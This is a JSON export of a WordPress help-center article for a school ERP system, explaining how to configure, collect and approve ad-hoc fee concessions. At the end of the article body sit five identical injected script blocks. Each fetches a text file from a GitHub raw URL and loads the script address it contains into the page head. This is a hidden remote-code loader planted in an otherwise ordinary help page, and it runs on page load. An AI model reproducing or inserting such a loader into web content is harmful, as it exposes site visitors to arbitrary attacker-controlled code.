{"id":6304,"date":"2024-03-09T17:06:18","date_gmt":"2024-03-09T11:36:18","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=6304"},"modified":"2025-01-03T05:19:43","modified_gmt":"2025-01-02T23:49:43","slug":"how-do-i-configure-and-apply-the-ad-hoc-concession","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-configure-and-apply-the-ad-hoc-concession\/","title":{"rendered":"How do I configure and apply the AD-HOC concession?"},"content":{"rendered":"<p><strong>In the context of ad-hoc concessions, if an accountant needs to apply a concession to a parent on the spot during fee collection<\/strong><\/p>\n<p>Configure ad-hoc concessions in the fee settings and set approval limits based on user roles. Implement an approval workflow for requests exceeding predefined limits, directing them to designated authorities. Upon approval, apply the concession to the student&#8217;s fee account, allowing fee collection to proceed with concession.\u00a0<\/p>\n<p>How to configure:\u00a0<\/p>\n<p>Settings &gt; Finance &gt; Fee concession &gt; Click on <strong>AD-HOC<\/strong> right top\u00a0<\/p>\n<ol>\n<li>Select settings tab<\/li>\n<li>Enable the Ad-hoc concession toggle\u00a0<\/li>\n<li>Set the role and limit upto\u00a0<\/li>\n<\/ol>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-6311\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP.png\" alt=\"\" width=\"516\" height=\"252\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP.png 1150w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-300x147.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1024x500.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-768x375.png 768w\" sizes=\"auto, (max-width: 516px) 85vw, 516px\" \/><\/p>\n<p>Collection:\u00a0<\/p>\n<p>Finance &gt; Fee &gt; Collect Fee\u00a0<\/p>\n<ol>\n<li>Search by student name, admission number &#8230;..<\/li>\n<li>Click on <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-953\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2019\/07\/Catalogue-NLP.png\" alt=\"\" width=\"28\" height=\"27\" \/> for the ad-hoc\u00a0<\/li>\n<li>Select the AD-HOC concession tab<\/li>\n<li>Enter the amount in the cocession column and add remarks for the same.\u00a0<\/li>\n<\/ol>\n<p>Validation:<\/p>\n<p>If a concession is within the configured limit, it will be applied automatically. However, if the concession exceeds the configured limit, it will require approval before being applied.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-6305\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2.png\" alt=\"\" width=\"585\" height=\"263\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2.png 1560w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2-300x135.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2-1024x461.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2-768x346.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2-1536x692.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Payment-Details-Fee-NLP-2-1200x541.png 1200w\" sizes=\"auto, (max-width: 585px) 85vw, 585px\" \/><\/p>\n<p>Approval:\u00a0<\/p>\n<p>Settings &gt; Finance &gt; Fee concession &gt; Click on <strong>AD-HOC<\/strong> right top\u00a0<\/p>\n<ol>\n<li>Select Assign Concession tab<\/li>\n<li>Pending Status<\/li>\n<li>Approve or Decline the request<\/li>\n<\/ol>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-6314\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1.png\" alt=\"\" width=\"580\" height=\"234\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1.png 1672w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1-300x121.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1-1024x413.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1-768x310.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1-1536x620.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/03\/Fee-Concession-Adhoc-Fee-NLP-1-1200x484.png 1200w\" sizes=\"auto, (max-width: 580px) 85vw, 580px\" \/><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the context of ad-hoc concessions, if an accountant needs to apply a concession to a parent on the spot during fee collection Configure ad-hoc concessions in the fee settings and set approval limits based on user roles. Implement an approval workflow for requests exceeding predefined limits, directing them to designated authorities. Upon approval, apply &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-configure-and-apply-the-ad-hoc-concession\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How do I configure and apply the AD-HOC concession?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54],"tags":[],"post_folder":[],"class_list":["post-6304","post","type-post","status-publish","format-standard","hentry","category-collect-fee"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=6304"}],"version-history":[{"count":13,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6304\/revisions"}],"predecessor-version":[{"id":10392,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6304\/revisions\/10392"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=6304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=6304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=6304"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=6304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}